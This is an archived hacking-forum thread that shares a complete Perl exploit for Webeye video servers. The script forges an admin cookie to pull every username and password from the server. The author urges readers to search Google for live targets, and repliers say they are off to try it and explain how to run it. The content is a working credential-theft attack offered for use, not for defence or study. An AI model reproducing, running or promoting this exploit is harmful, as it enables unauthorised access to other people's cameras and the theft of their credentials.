hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Full Version: Webeye - Exploit
seppel18
#!/usr/bin/perl


########################################################################
# Author: datapath
# E-mail: datapath_at_softhome.net
# Date: Dec 2003
# 44c545672ac14e9e0f968b3affcd0740


# WHAT IS THIS?
# This is an exploit to retrieve all username and passwords from a
# webeye video server.


# REQUIREMENTS
# It requires some perl libraries. If you dont have them already
# installed, search cpan.org.


# HOW DOES IT WORKS?
# Well, its very simple, because the server provides a mechanism (not
# documented) to retrieve all passwords! You can read the code below,
# its short and simple.


# If you think its fun, but dont know any webeye video server, just make a
# search in Google. You will find a lot of them! Have fun!
###########################################################################


use LWP::UserAgent;
use HTTP::Cookies;


$host=shift;


if ($host eq "") {
print "Usage: webeye-xp.pl <host name>\n";
exit;
}


my $browser = LWP::UserAgent->new();


my $resp = $browser->get("http://$host/admin/wg_user-info.ml","Cookie","USER_ID=0; path=/;");


$t = $resp->content;


#print $t;


$i = index($t,"<tr");
substr($t,0,$i+1,"");


while ($i!=-1) {
$i = index($t,"<tr");
substr($t,0,$i+1,"");
$i = index($t,"value=");
substr($t,0,$i+7,"");
$j = index($t,"\"");
$user = substr($t,0,$j);
if ($user =~ /Apply/) { print "\nHave fun!\n"; exit; }
print "user: ".$user;
$i = index($t,"value=");
substr($t,0,$i+7,"");
$j = index($t,"\"");
print "\tpass: ".substr($t,0,$j)."\n";
}


But how to install those perl-libraries? ph34r.gif
cyrixx
hööööä? sounds funny tongue.gif
thhhhhhhx, i'll test it!
hidden
same i'll go test it too thx man
ShadowRun
thx a lot laugh.gif
you've found an exploit and don't know how to use it
on most linux boxes you have perl
on M$ download active perl and run script from command line smile.gif

greetz
SNOZZ
Thx man , off to try it now biggrin.gif
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.